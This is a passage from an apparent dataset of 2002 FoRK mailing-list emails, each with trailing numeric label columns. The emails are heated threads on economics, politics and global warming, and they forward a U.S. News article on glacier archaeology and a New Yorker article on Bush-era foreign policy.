a top-20 American institution of higher learning can actually > afford to go there these days. Unless, of course, their parents, who > couldn't afford to go there themselves, got terminal degrees in the > last 40 years or so. And their kids *still* had to get the grades, > and ""biased"" (by intelligence :-)), test scores, to get in. > > > The bizarre irony is that almost all of those people with ""terminal"" > degrees, until they actually *own* something and *hire* people, or > learn to *make* something for a living all day on a profit and loss > basis, persist in the practically insane belief, like life after > death, that economics is some kind of zero sum game, that dumb people > who don't work hard for it make all the money, and, if someone *is* > smart, works hard, and is rich, then they stole their wealth somehow. > > BTW, none of you guys out there holding the short end of this > rhetorical stick can blame *me* for the fact that I'm using it to > beat you severely all over your collective head and shoulders. You > were, apparently, too dumb to grab the right end. *I* went to > Missouri, and *I* don't have a degree in anything actually useful, > much less a ""terminal"" one, which means *I*'m broker than anyone on > this list -- it's just that *you*, of all people, lots with > educations far surpassing my own, should just plain know better. The > facts speak for themselves, if you just open your eyes and *look*. > There are no epicycles, the universe does not orbit the earth, and > economics is not a zero-sum game. The cost of anything, including > ignorance and destitution, is the forgone alternative, in this case, > intelligence and effort. > > [I will, however, admit to being educated *waay* past my level of > competence, and, by the way *you* discuss economics, so have you, > apparently.] > > > > BTW, if we ever actually *had* free markets in this country, > *including* the abolition of redistributive income and death taxes, > all those smart people in the Forbes 400 would have *more* money, and > there would be *more* self-made people on that list. In addition, > most of the people who *inherited* money on the list would have > *much* less of it, not even relatively speaking. Finally, practically > all of that ""new"" money would have come from economic efficiency and > not ""stolen"" from someone else, investment bubbles or not. > > That efficiency is called ""progress"", for those of you in The > People's Republics of Berkeley or Cambridge. It means more and better > stuff, cheaper, over time -- a terrible, petit-bourgeois concept > apparently not worthy of teaching by the educational elite, or you'd > know about it by now. In economic terms, it's also called an increase > in general welfare, and, no, Virginia, I'm not talking about > extorting money from someone who works, and giving it to someone who > doesn't in order to keep them from working and they can think of some > politician as Santa Claus come election time... > > > In short, then, economics is not a zero sum game, property is not > theft, the rich don't get rich off the backs of the poor, and > redistributionist labor ""theory"" of value happy horseshit is just > that: horseshit, happy or otherwise. > > To believe otherwise, is -- quite literally, given the time Marx > wrote Capital and the Manifesto -- romantic nonsense. > > Cheers, > RAH > > -----BEGIN PGP SIGNATURE----- > Version: PGP 7.5 > > iQA/AwUBPY511cPxH8jf3ohaEQLAsgCfZhsQMSvUy6GqJ5wgL52DwZKpIhMAnRuR > YYboc+IcylP5TlKL58jpwEfu > =z877 > -----END PGP SIGNATURE----- > > -- > ----------------- > R. A. Hettinga > The Internet Bearer Underwriting Corporation > 44 Farquhar Street, Boston, MA 02131 USA > ""... however it may deserve respect for its usefulness and antiquity, > [predicting the end of the world] has not been found agreeable to > experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire' > >",0,1 """Mr. FoRK"" ","""James Rogers"" , ","Mon, 23 Sep 2002 17:37:12 -0700",Re: Goodbye Global Warming,"Thanks for the link - I'm fascinated by archaeology as well. ----- Original Message ----- From: ""James Rogers"" To: Sent: Monday, September 23, 2002 2:48 PM Subject: Re: Goodbye Global Warming I've seen articles on this type of stuff passing through various forums for several years. I've always found archaeology interesting for no particular reason. Here is a recent article from U.S. News that I actually still have in the dank recesses of my virtual repository. -James Rogers jamesr@best.com -------------------------------------------- http://www.usnews.com/usnews/issue/020916/misc/16meltdown.htm Defrosting the past Ancient human and animal remains are melting out of glaciers, a bounty of a warming world BY ALEX MARKELS As he hiked near Colorado's Continental Divide in the summer of 2001, Ed Knapp noticed a strange shape jutting from a melting ice field at 13,000 feet. ""It looked like a bison skull,"" the building contractor and amateur archaeologist recalls. ""I thought, 'That's strange. Bison don't live this high up.' "" Knapp brought the skull to the Denver Museum of Nature and Science, where scientists last month announced that it was indeed from a bisonone that died about 340 years ago. ""This was an extraordinary discovery,"" says Russ Graham, the museum's chief curator, adding that it could alter notions of the mountain environment centuries ago. ""There's probably a lot more like it yet to be found."" And not just bison. Colorado isn't the only place where glaciers and snowfields are melting. Decades of unusual warmth in regions from Peru to Alaskaa trend some think is linked to emissions from cars and industryhave shrunk or thawed many of the world's 70,000 glaciers. As the ice recedes, a treasure-trove of human and animal artifacts is emerging, extraordinarily well preserved after centuries in the deep freeze. The fabrics, wood, bone, and DNA-rich tissue found on the mucky fringes of the ice are revising scientists' understanding of our predecessors' health, habits, and technology, and the prey they pursued. ""It's mind-boggling how many different fields are being advanced through studying these remains,"" says Johan Reinhard, a high-altitude archaeologist and explorer-in-residence at the National Geographic Society. Rare, spectacular finds like the frozen mummies he discovered in the Andes of Peru in the 1990s and the legendary 5,300-year-old ""Ice Man,"" found at the edge of a receding glacier in the Alps in 1991, have offered time capsules of cultural and biological information. Now, as the ice continues to retreat, it is yielding not just occasional treasures but long records of humans and animals in the high mountains. Vanishing act. The trick is finding such specimens before Mother Natureand looterstake them first. Once uncovered, frozen remains can deteriorate within hours or be gnawed by animals. Moreover, they're often so well preserved when they emerge that people who come upon them don't even realize they're ancient. That was the case when three men hunting sheep near a high glacier in British Columbia, Canada, three years ago saw what they thought was a dead animal. ""It looked a little like sealskin buried in the ice,"" recalls Warren Ward, a teacher from nearby Nelson. ""But when I looked closer I could see leather fringe from a coat and finger bones."" Figuring they had found the remains of another hunter, or perhaps a fur trapper, the men stowed a flint knife and other artifacts in a Zip-Loc bag and delivered them to local officials. Archaeologists later exhumed the fallen hunter's body, along with a woven hat, fur clothing, and what seemed to be a medicine bag. Carbon dating revealed that the hunter lived about 550 years ago. Dubbed Kwaday Dan Ts'inchi, or Long Ago Person Found, by people of the Champagne and Aishihik First Nations (who may be his direct descendants), he is perhaps the best-preserved human from the period ever found in North America. Other findings from melting ice in the neighboring Yukon region could explain what that long-ago person was doing in the mountains in the first place. ""Before this there was no archaeological record of people living here,"" says Greg Hare, a Yukon government archaeologist. ""Now we see that this area was very much part of people's seasonal activities."" Like Ward's discovery, the search began by chance, when Kristin Benedek caught a whiff of what smelled like a barnyard as she and her husband, Gerry Kuzyk, hunted sheep at 6,000 feet in the mountains of the south Yukon. They followed the scent to a melting patch of ice covered in caribou dung. ""It was really odd, because I knew there hadn't been caribou in the area for at least 100 years,"" recalls Kuzyk, then a wildlife biologist with the Yukon government. Caribou cake. Returning a week later, he found ""what looked like a pencil with string wrapped around it."" It turned out to be a 4,300-year-old atlatl, or spear thrower. Further investigation of the ice patchand scores of others around the regionrevealed icy layer cakes filled with caribou remains and human detritus chronicling 7,800 years of changing hunting practices. Scientists now believe ancient caribou and other animals flocked to the ice each summer to cool down and escape swarming mosquitoes and flies. Hunters followed the game. They returned for centuries and discarded some equipment in the ice. ""We've got people hunting with throwing darts up until 1,200 years ago,"" says Hare, who now oversees the research project. ""Then we see the first appearance of the bow and arrow about 1,300 years ago. And by 1,200 years ago, there's no more throwing darts."" Now scientists are trying to make the search less a matter of luck. They are developing sophisticated computer models that combine data on where glaciers are melting fastest and where humans and animals are known to have migrated to pinpoint the best places to search in Alaska's Wrangell and St. Elias mountain rangesthe United States' most glaciated terrainand in the Andes. Johan Reinhard thinks the fast- thawing European Alps could also deliver more findings, perhaps as exquisite as the Ice Man. ""Global warming is providing us high-altitude archaeologists with some fantastic opportunities right now. We're probably about the only ones happy about it.""",0,1 """Mr. FoRK"" ","""FoRK"" ","Mon, 23 Sep 2002 17:38:08 -0700",Re: Goodbye Global Warming,"Of the three lying politicians, which liar would you take? ----- Original Message ----- From: ""John Hall"" To: ""FoRK"" Sent: Monday, September 23, 2002 2:23 PM Subject: RE: Goodbye Global Warming > ""I did not have sex with that woman."" > > > -----Original Message----- > > From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of > Mr. > > FoRK > > Sent: Monday, September 23, 2002 2:12 PM > > To: FoRK > > Subject: Re: Goodbye Global Warming > > > > > > ----- Original Message ----- > > From: ""John Hall"" > > > > > A Green once said that if the Spotted Owl hadn't existed they > > > would have had to invent it. > > A Republican once said ""I am not a crook"". >",0,0 """R. A. Hettinga"" ","Tom , ""Mr. FoRK"" ","Mon, 23 Sep 2002 18:25:50 -0400",Re: Goodbye Global Warming,"At 5:22 PM -0400 on 9/23/02, Tom wrote: > --]> A Green once said that if the Spotted Owl hadn't existed they > --]> would have had to invent it. > --]A Republican once said ""I am not a crook"". > --] > > Oh great, another round of Lableisms....Let me know when you get back to > real data.. Not me. I have another one, instead: Green = Red. ;-). Cheers, RAH -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire'",0,1 """R. A. Hettinga"" ","""Mr. FoRK"" , ""Tom"" ","Mon, 23 Sep 2002 18:32:44 -0400",Re: Goodbye Global Warming,"At 2:57 PM -0700 on 9/23/02, Mr. FoRK wrote: > I just had a run-in with a neighbor whom I've never met before who > pigeonholed me within one minute after I asked a question - he said 'Are you > one of them environmentalists?' > > Sheesh... I've been out of work too long... We'll ignore the possibility of a correlation here in the interest of charity... Cheers, RAH -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire'",0,1 Tom ,Gordon Mohr ,"Mon, 23 Sep 2002 21:51:03 -0400 (EDT)",Re: How about subsidizing SSL access to Google?,"On Mon, 23 Sep 2002, Gordon Mohr wrote: --] --]The best we can hope is that technological cleverness, by raising the --]costs of oppression or by provoking intolerable oppression, brings --]social liberalization sooner rather than later. In a very real sense we are still playing the ""stone hurst man, man wears hide, stone dont hurt no more so now we use arrows, arrows go thru hide dang lets try this chain mail stuff, arrows dont go thru chain mail so now we try crafting long spears with chain ripping heads, hey there buddy try that against my plate mail, well F you and the horse you plated try doging a bullets, holy shit where is my kevlar, does you kevlar stop nukes..."" game. In this mad mad mad mad james burkian cum chucky darwin world there is no rest for either the wicked or the nonwicked, there is just the ramp up to the Brand New Jimmiez. the trick I think should all be learning is not so much looking for the THE KILLER APP but instead to look for the ""really cool app that mutates to meet changes"" Bascialy give china no choise but to shoot its own head off to stop the music. bang bang ... have a nice day. -tom",0,0 Bill Humphries ,fork@spamassassin.taint.org,"Mon, 23 Sep 2002 18:59:46 -0700",Re: Goodbye Global Warming,"On Monday, September 23, 2002, at 03:25 PM, R. A. Hettinga wrote: > Green = Red. Capitalist = Nazi. Information content of the above statements === 0. Meanwhile, the angels of light (tm) are having a great knock-down drag-out with the eldrich kings of .NET on XML-DEV. -- whump ---- Bill Humphries http://www.whump.com/moreLikeThis/",0,1 """Russell Turpin"" ",fork@spamassassin.taint.org,"Tue, 24 Sep 2002 02:00:58 +0000",Re: Goodbye Global Warming,"Mr. FoRK: >Of the three lying politicians, which liar would you take? No, no. The riddle is, asking only one question, how do you determine which is which? ""If I were to ask you whether he would say you were a crook, or if the other had sex ..?"" _________________________________________________________________ Send and receive Hotmail on your mobile device: http://mobile.msn.com",0,1 Bill Humphries ,fork@spamassassin.taint.org,"Mon, 23 Sep 2002 19:03:18 -0700",Re: How about subsidizing SSL access to Google?,"On Monday, September 23, 2002, at 06:51 PM, Tom wrote: > Bascialy give china no choise but to shoot its own head off to stop the > music. Or we could have the audacity to tell them to shape up or get cut out of the global marbles game. Unfortunately that model only seems to apply to despots with oil and WMDs, rather than despots with WMDs. -- whump",0,0 """Geege Schuman"" ","""Bill Humphries"" , ","Mon, 23 Sep 2002 22:12:56 -0400",RE: Goodbye Global Warming,"funny. i read it as green = red, as in accounting, as in fiscally irresponsible. which do you think is the worse indictment - overregulation or overspending? there are many (dickheads) who buy into the neo-conservative media's (fox's) definiton of ""liberal"" as ""one who seeks to impose both."" hannity and glove. best quote, wish i could remember who said it: ""we tend to describe our own party by its ideals and our opponents' party by its reality."" geege -----Original Message----- From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of Bill Humphries Sent: Monday, September 23, 2002 10:00 PM To: fork@spamassassin.taint.org Subject: Re: Goodbye Global Warming On Monday, September 23, 2002, at 03:25 PM, R. A. Hettinga wrote: > Green = Red. Capitalist = Nazi. Information content of the above statements === 0. Meanwhile, the angels of light (tm) are having a great knock-down drag-out with the eldrich kings of .NET on XML-DEV. -- whump ---- Bill Humphries http://www.whump.com/moreLikeThis/",0,1 """R. A. Hettinga"" ",", ""FoRK"" ","Mon, 23 Sep 2002 23:34:53 -0400",Re: Pluck and Luck,"At 5:29 PM -0700 on 9/23/02, John Hall wrote: > Rawls claims Merit doesn't exist. Nozick claims that Rawls doesn't exist. God says that Nozick is dead? :-). Cheers, RAH Quine, of course, read the Herald, not the Globe. With him and Nozick went political ""diversity"" at Hahvahd... -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire'",0,1 """R. A. Hettinga"" ","""Geege Schuman"" ,","Mon, 23 Sep 2002 23:32:14 -0400",RE: Comrade Communism (was Re: Crony Capitalism (was RE: sed,"At 7:44 PM -0400 on 9/23/02, Geege Schuman wrote: > First, misattribution. My apologies. Rave on... Cheers, RAH ""Where all the children are above average..."" -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire'",0,1 """John Hall"" ","""FoRK"" ","Mon, 23 Sep 2002 20:56:41 -0700",liberal defnitions,"Depends on how much over spending vs. how much (and what type) over regulation. The biggest problem with over regulation is the costs can be invisible. It also has the ability to single out particular people, while over spending spreads the damage more evenly. Rent control would be an example of a regulation solution that is in general worse than spending tons of money on public housing. As for the definition of a liberal being someone who seeks to impose both, I find no fault in that definition whatsoever. The opinion that EITHER we are spending too much OR we have too much regulation is pretty much anathema to liberal politics. Finally, those who argue that there are private replacements for much government regulation are not saying that a state of nature (no private replacements, no government regulation) is better than government regulation itself. And in my experience people who label themselves 'Green' (which does not include everyone who loves trees and thinks smokestacks are ugly) is a watermelon. > -----Original Message----- > From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of Geege > Schuman > > funny. i read it as green = red, as in accounting, as in fiscally > irresponsible. which do you think is the worse indictment - > overregulation > or overspending? there are many (dickheads) who buy into the > neo-conservative media's (fox's) definiton of ""liberal"" as ""one who seeks > to > impose both.""",0,0 Wayne E Baisley ,"""Joseph S. Barrera III"" ","Mon, 23 Sep 2002 23:39:48 -0500",Re: flavor cystals,"It's only 64kbps, but http://noise.ktru.org/ can be tasty. Presently playing Fille Qui Mousse, Collage in Progress, and other happy nibbles. Sounds a bit like The Avalanches, but that will change soon. Cheers, Wayne",0,1 """Geege Schuman"" ",", ""FoRK"" ","Tue, 24 Sep 2002 08:11:52 -0400",RE: liberal defnitions,"per john hall: ""The opinion that EITHER we are spending too much OR we have too much regulation is pretty much anathema to liberal politics."" no it's not. geege",0,0 """Geege Schuman"" ","""FoRK"" ","Tue, 24 Sep 2002 08:17:14 -0400",RE: liberal defnitions,"from slate's ""today's papers"": The New York Times and Los Angeles Times both lead with word that a federal judge ruled yesterday that the nation's largest national gas pipeline company, El Paso, illegally withheld gas from the market during California's energy squeeze in 2000-01. The judge concluded that El Paso left 21 percent of its capacity in the state off-line, thus driving up the price of gas and helping to induce rolling blackouts. and this is the product of overregulation? -----Original Message----- From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of John Hall Sent: Monday, September 23, 2002 11:57 PM To: FoRK Subject: liberal defnitions Depends on how much over spending vs. how much (and what type) over regulation. The biggest problem with over regulation is the costs can be invisible. It also has the ability to single out particular people, while over spending spreads the damage more evenly. Rent control would be an example of a regulation solution that is in general worse than spending tons of money on public housing. As for the definition of a liberal being someone who seeks to impose both, I find no fault in that definition whatsoever. The opinion that EITHER we are spending too much OR we have too much regulation is pretty much anathema to liberal politics. Finally, those who argue that there are private replacements for much government regulation are not saying that a state of nature (no private replacements, no government regulation) is better than government regulation itself. And in my experience people who label themselves 'Green' (which does not include everyone who loves trees and thinks smokestacks are ugly) is a watermelon. > -----Original Message----- > From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of Geege > Schuman > > funny. i read it as green = red, as in accounting, as in fiscally > irresponsible. which do you think is the worse indictment - > overregulation > or overspending? there are many (dickheads) who buy into the > neo-conservative media's (fox's) definiton of ""liberal"" as ""one who seeks > to > impose both.""",0,0 ThosStew@aol.com,"khare@alumni.caltech.edu, Fork@xent.com","Tue, 24 Sep 2002 08:46:08 EDT",Re: SF Weekly's Ultimate SF Date lineup :-),"In a message dated 9/23/2002 6:30:31 PM, khare@alumni.caltech.edu writes: > why you're writing with a double of scotch :-) because, obviously, after the inevitable second double, you won't remember anything you say unless you write it down :-) Tom",0,0 Tom ,fork@spamassassin.taint.org,"Tue, 24 Sep 2002 10:04:06 -0400 (EDT)",Re: 2002.06.00.00,"On Tue, 24 Sep 2002 ThosStew@aol.com wrote: --]Klez, most likely. It'll pick up your address and send mail to all your --]friends, and your strangers, as if coming from you. Nice way to lose friends --]and meet strangers. Better than typing gibberish (or Hemingway, but I repeat --]myself) in a bar with a double of scotch. Friends dont let friends use Outlook....even after a douly shot of the scotch with a chaser. All hands on the stinky one. -tom(the other tommeat)",0,0 Rodent of Unusual Size ,Flatware or Road Kill? ,"Tue, 24 Sep 2002 10:14:41 -0400",A different sort of Fox News,"This was just *too* funny.. rotflma. http://www.ozyandmillie.org/comics/om20020924.gif -- #ken P-)} Ken Coar, Sanagendamgagwedweinini http://Golux.Com/coar/ Author, developer, opinionist http://Apache-Server.Com/ ""Millennium hand and shrimp!""",0,1 """R. A. Hettinga"" ","Digital Bearer Settlement List , fork@spamassassin.taint.org","Tue, 24 Sep 2002 09:52:15 -0400",The Next World Order,"http://newyorker.com/fact/content/?020401fa_FACT1 The New Yorker THE NEXT WORLD ORDER by NICHOLAS LEMANN The Bush Administration may have a brand-new doctrine of power. Issue of 2002-04-01 Posted 2002-03-25 When there is a change of command-and not just in government-the new people often persuade themselves that the old people were much worse than anyone suspected. This feeling seems especially intense in the Bush Administration, perhaps because Bill Clinton has been bracketed by a father-son team. It's easy for people in the Administration to believe that, after an unfortunate eight-year interlude, the Bush family has resumed its governance-and about time, too. The Bush Administration's sense that the Clinton years were a waste, or worse, is strongest in the realms of foreign policy and military affairs. Republicans tend to regard Democrats as untrustworthy in defense and foreign policy, anyway, in ways that coincide with what people think of as Clinton's weak points: an eagerness to please, a lack of discipline. Condoleezza Rice, Bush's national-security adviser, wrote an article in Foreign Affairs two years ago in which she contemptuously accused Clinton of ""an extraordinary neglect of the fiduciary responsibilities of the commander in chief."" Most of the top figures in foreign affairs in this Administration also served under the President's father. They took office last year, after what they regard as eight years of small-time flyswatting by Clinton, thinking that they were picking up where they'd left off. Not long ago, I had lunch with-sorry!-a senior Administration foreign-policy official, at a restaurant in Washington called the Oval Room. Early in the lunch, he handed me a twenty-seven- page report, whose cover bore the seal of the Department of Defense, an outline map of the world, and these words: Defense Strategy for the 1990s: The Regional Defense Strategy Secretary of Defense Dick Cheney January 1993 One of the difficulties of working at the highest level of government is communicating its drama. Actors, professional athletes, and even elected politicians train for years, go through a great winnowing, and then perform publicly. People who have titles like Deputy Assistant Secretary of Defense are just as ambitious and competitive, have worked just as long and hard, and are often playing for even higher stakes-but what they do all day is go to meetings and write memos and prepare briefings. How, possibly, to explain that some of the documents, including the report that the senior official handed me, which was physically indistinguishable from a high-school term paper, represent the government version of playing Carnegie Hall? After the fall of the Berlin Wall, Dick Cheney, then the Secretary of Defense, set up a ""shop,"" as they say, to think about American foreign policy after the Cold War, at the grand strategic level. The project, whose existence was kept quiet, included people who are now back in the game, at a higher level: among them, Paul Wolfowitz, the Deputy Secretary of Defense; Lewis Libby, Cheney's chief of staff; and Eric Edelman, a senior foreign-policy adviser to Cheney-generally speaking, a cohesive group of conservatives who regard themselves as bigger-thinking, tougher-minded, and intellectually bolder than most other people in Washington. (Donald Rumsfeld, the Secretary of Defense, shares these characteristics, and has been closely associated with Cheney for more than thirty years.) Colin Powell, then the chairman of the Joint Chiefs of Staff, mounted a competing, and presumably more ideologically moderate, effort to reimagine American foreign policy and defense. A date was set-May 21, 1990-on which each team would brief Cheney for an hour; Cheney would then brief President Bush, after which Bush would make a foreign-policy address unveiling the new grand strategy. Everybody worked for months on the ""five-twenty-one brief,"" with a sense that the shape of the post-Cold War world was at stake. When Wolfowitz and Powell arrived at Cheney's office on May 21st, Wolfowitz went first, but his briefing lasted far beyond the allotted hour, and Cheney (a hawk who, perhaps, liked what he was hearing) did not call time on him. Powell didn't get to present his alternate version of the future of the United States in the world until a couple of weeks later. Cheney briefed President Bush, using material mostly from Wolfowitz, and Bush prepared his major foreign-policy address. But he delivered it on August 2, 1990, the day that Iraq invaded Kuwait, so nobody noticed. The team kept working. In 1992, the Times got its hands on a version of the material, and published a front-page story saying that the Pentagon envisioned a future in which the United States could, and should, prevent any other nation or alliance from becoming a great power. A few weeks of controversy ensued about the Bush Administration's hawks being ""unilateral""-controversy that Cheney's people put an end to with denials and the counter-leak of an edited, softer version of the same material. As it became apparent that Bush was going to lose to Clinton, the Cheney team's efforts took on the quality of a parting shot. The report that the senior official handed me at lunch had been issued only a few days before Clinton took office. It is a somewhat bland, opaque document-a ""scrubbed,"" meaning unclassified, version of something more candid-but it contained the essential ideas of ""shaping,"" rather than reacting to, the rest of the world, and of preventing the rise of other superpowers. Its tone is one of skepticism about diplomatic partnerships. A more forthright version of the same ideas can be found in a short book titled ""From Containment to Global Leadership?,"" which Zalmay Khalilzad, who joined Cheney's team in 1991 and is now special envoy to Afghanistan, published a couple of years into the Clinton Administration, when he was out of government. It recommends that the United States ""preclude the rise of another global rival for the indefinite future."" Khalilzad writes, ""It is a vital U.S. interest to preclude such a development-i.e., to be willing to use force if necessary for the purpose."" When George W. Bush was campaigning for President, he and the people around him didn't seem to be proposing a great doctrinal shift, along the lines of the policy of containment of the Soviet Union's sphere of influence which the United States maintained during the Cold War. In his first major foreign-policy speech, delivered in November of 1999, Bush declared that ""a President must be a clear-eyed realist,"" a formulation that seems to connote an absence of world-remaking ambition. ""Realism"" is exactly the foreign-policy doctrine that Cheney's Pentagon team rejected, partly because it posits the impossibility of any one country's ever dominating world affairs for any length of time. One gets many reminders in Washington these days of how much the terrorist attacks of September 11th have changed official foreign-policy thinking. Any chief executive, of either party, would probably have done what Bush has done so far-made war on the Taliban and Al Qaeda and enhanced domestic security. It is only now, six months after the attacks, that we are truly entering the realm of Presidential choice, and all indications are that Bush is going to use September 11th as the occasion to launch a new, aggressive American foreign policy that would represent a broad change in direction rather than a specific war on terrorism. All his rhetoric, especially in the two addresses he has given to joint sessions of Congress since September 11th, and all the information about his state of mind which his aides have leaked, indicate that he sees this as the nation's moment of destiny-a perception that the people around him seem to be encouraging, because it enhances Bush's stature and opens the way to more assertive policymaking. Inside government, the reason September 11th appears to have been ""a transformative moment,"" as the senior official I had lunch with put it, is not so much that it revealed the existence of a threat of which officials had previously been unaware as that it drastically reduced the American public's usual resistance to American military involvement overseas, at least for a while. The Clinton Administration, beginning with the ""Black Hawk Down"" operation in Mogadishu, during its first year, operated on the conviction that Americans were highly averse to casualties; the all-bombing Kosovo operation, in Clinton's next-to-last year, was the ideal foreign military adventure. Now that the United States has been attacked, the options are much broader. The senior official approvingly mentioned a 1999 study of casualty aversion by the Triangle Institute for Security Studies, which argued that the ""mass public"" is much less casualty-averse than the military or the civilian lite believes; for example, the study showed that the public would tolerate thirty thousand deaths in a military operation to prevent Iraq from acquiring weapons of mass destruction. (The American death total in the Vietnam War was about fifty-eight thousand.) September 11th presumably reduced casualty aversion even further. Recently, I went to the White House to interview Condoleezza Rice. Rice's Foreign Affairs article from 2000 begins with this declaration: ""The United States has found it exceedingly difficult to define its 'national interest' in the absence of Soviet power."" I asked her whether that is still the case. ""I think the difficulty has passed in defining a role,"" she said immediately. ""I think September 11th was one of those great earthquakes that clarify and sharpen. Events are in much sharper relief."" Like Bush, she said that opposing terrorism and preventing the accumulation of weapons of mass destruction ""in the hands of irresponsible states"" now define the national interest. (The latter goal, by the way, is new-in Bush's speech to Congress on September 20th, America's sole grand purpose was ending terrorism.) We talked in her West Wing office; its tall windows face the part of the White House grounds where television reporters do their standups. In her bearing, Rice seemed less crisply military than she does in public. She looked a little tired, but she was projecting a kind of missionary calm, rather than belligerence. In the Foreign Affairs article, Rice came across as a classic realist, putting forth ""the notions of power politics, great powers, and power balances"" as the proper central concerns of the United States. Now she sounded as if she had moved closer to the one-power idea that Cheney's Pentagon team proposed ten years ago-or, at least, to the idea that the other great powers are now in harmony with the United States, because of the terrorist attacks, and can be induced to remain so. ""Theoretically, the realists would predict that when you have a great power like the United States it would not be long before you had other great powers rising to challenge it or trying to balance against it,"" Rice said. ""And I think what you're seeing is that there's at least a predilection this time to move to productive and coperative relations with the United States, rather than to try to balance the United States. I actually think that statecraft matters in how it all comes out. It's not all foreordained."" Rice said that she had called together the senior staff people of the National Security Council and asked them to think seriously about ""how do you capitalize on these opportunities"" to fundamentally change American doctrine, and the shape of the world, in the wake of September 11th. ""I really think this period is analogous to 1945 to 1947,"" she said-that is, the period when the containment doctrine took shape-""in that the events so clearly demonstrated that there is a big global threat, and that it's a big global threat to a lot of countries that you would not have normally thought of as being in the coalition. That has started shifting the tectonic plates in international politics. And it's important to try to seize on that and position American interests and institutions and all of that before they harden again."" The National Security Council is legally required to produce an annual document called the National Security Strategy, stating the over-all goals of American policy-another government report whose importance is great but not obvious. The Bush Administration did not produce one last year, as the Clinton Administration did not in its first year. Rice said that she is working on the report now. ""There are two ways to handle this document,"" she told me. ""One is to do it in a kind of minimalist way and just get it out. But it's our view that, since this is going to be the first one for the Bush Administration, it's important. An awful lot has happened since we started this process, prior to 9/11. I can't give you a certain date when it's going to be out, but I would think sometime this spring. And it's important that it be a real statement of what the Bush Administration sees as the strategic direction that it's going."" It seems clear already that Rice will set forth the hope of a more dominant American role in the world than she might have a couple of years ago. Some questions that don't appear to be settled yet, but are obviously being asked, are how much the United States is willing to operate alone in foreign affairs, and how much change it is willing to try to engender inside other countries-and to what end, and with what means. The leak a couple of weeks ago of a new American nuclear posture, adding offensive capability against ""rogue states,"" departed from decades of official adherence to a purely defensive position, and was just one indication of the scope of the reconsideration that is going on. Is the United States now in a position to be redrawing regional maps, especially in the Middle East, and replacing governments by force? Nobody thought that the Bush Administration would be thinking in such ambitious terms, but plainly it is, and with the internal debate to the right of where it was only a few months ago. Just before the 2000 election, a Republican foreign-policy figure suggested to me that a good indication of a Bush Administration's direction in foreign affairs would be who got a higher-ranking job, Paul Wolfowitz or Richard Haass. Haass is another veteran of the first Bush Administration, and an intellectual like Wolfowitz, but much more moderate. In 1997, he published a book titled ""The Reluctant Sheriff,"" in which he poked a little fun at Wolfowitz's famous strategy briefing of the early nineties (he called it the ""Pentagon Paper"") and disagreed with its idea that the United States should try to be the world's only great power over the long term. ""For better or worse, such a goal is beyond our reach,"" Haass wrote. ""It simply is not doable."" Elsewhere in the book, he disagreed with another of the Wolfowitz team's main ideas, that of the United States expanding the ""democratic zone of peace"": ""Primacy is not to be confused with hegemony. The United States cannot compel others to become more democratic."" Haass argued that the United States is becoming less dominant in the world, not more, and suggested ""a revival of what might be called traditional great-power politics."" Wolfowitz got a higher-ranking job than Haass: he is Deputy Secretary of Defense, and Haass is Director of Policy Planning for the State Department- in effect, Colin Powell's big-think guy. Recently, I went to see him in his office at the State Department. On the wall of his waiting room was an array of photographs of every past director of the policy-planning staff, beginning with George Kennan, the father of the containment doctrine and the first holder of the office that Haass now occupies. It's another indication of the way things are moving in Washington that Haass seems to have become more hawkish. I mentioned the title of his book. ""Using the word 'reluctant' was itself reflective of a period when foreign policy seemed secondary, and sacrificing for foreign policy was a hard case to make,"" he said. ""It was written when Bill Clinton was saying, 'It's the economy, stupid'-not 'It's the world, stupid.' Two things are very different now. One, the President has a much easier time making the case that foreign policy matters. Second, at the top of the national-security charts is this notion of weapons of mass destruction and terrorism."" I asked Haass whether there is a doctrine emerging that is as broad as Kennan's containment. ""I think there is,"" he said. ""What you're seeing from this Administration is the emergence of a new principle or body of ideas-I'm not sure it constitutes a doctrine-about what you might call the limits of sovereignty. Sovereignty entails obligations. One is not to massacre your own people. Another is not to support terrorism in any way. If a government fails to meet these obligations, then it forfeits some of the normal advantages of sovereignty, including the right to be left alone inside your own territory. Other governments, including the United States, gain the right to intervene. In the case of terrorism, this can even lead to a right of preventive, or peremptory, self-defense. You essentially can act in anticipation if you have grounds to think it's a question of when, and not if, you're going to be attacked."" Clearly, Haass was thinking of Iraq. ""I don't think the American public needs a lot of persuading about the evil that is Saddam Hussein,"" he said. ""Also, I'd fully expect the President and his chief lieutenants to make the case. Public opinion can be changed. We'd be able to make the case that this isn't a discretionary action but one done in self-defense."" On the larger issue of the American role in the world, Haass was still maintaining some distance from the hawks. He had made a speech not long before called ""Imperial America,"" but he told me that there is a big difference between imperial and imperialist. ""I just think that we have to be a little bit careful,"" he said. ""Great as our advantages are, there are still limits. We have to have allies. We can't impose our ideas on everyone. We don't want to be fighting wars alone, so we need others to join us. American leadership, yes; but not American unilateralism. It has to be multilateral. We can't win the war against terror alone. We can't send forces everywhere. It really does have to be a collaborative endeavor."" He stopped for a moment. ""Is there a successor idea to containment? I think there is,"" he said. ""It is the idea of integration. The goal of U.S. foreign policy should be to persuade the other major powers to sign on to certain key ideas as to how the world should operate: opposition to terrorism and weapons of mass destruction, support for free trade, democracy, markets. Integration is about locking them into these policies and then building institutions that 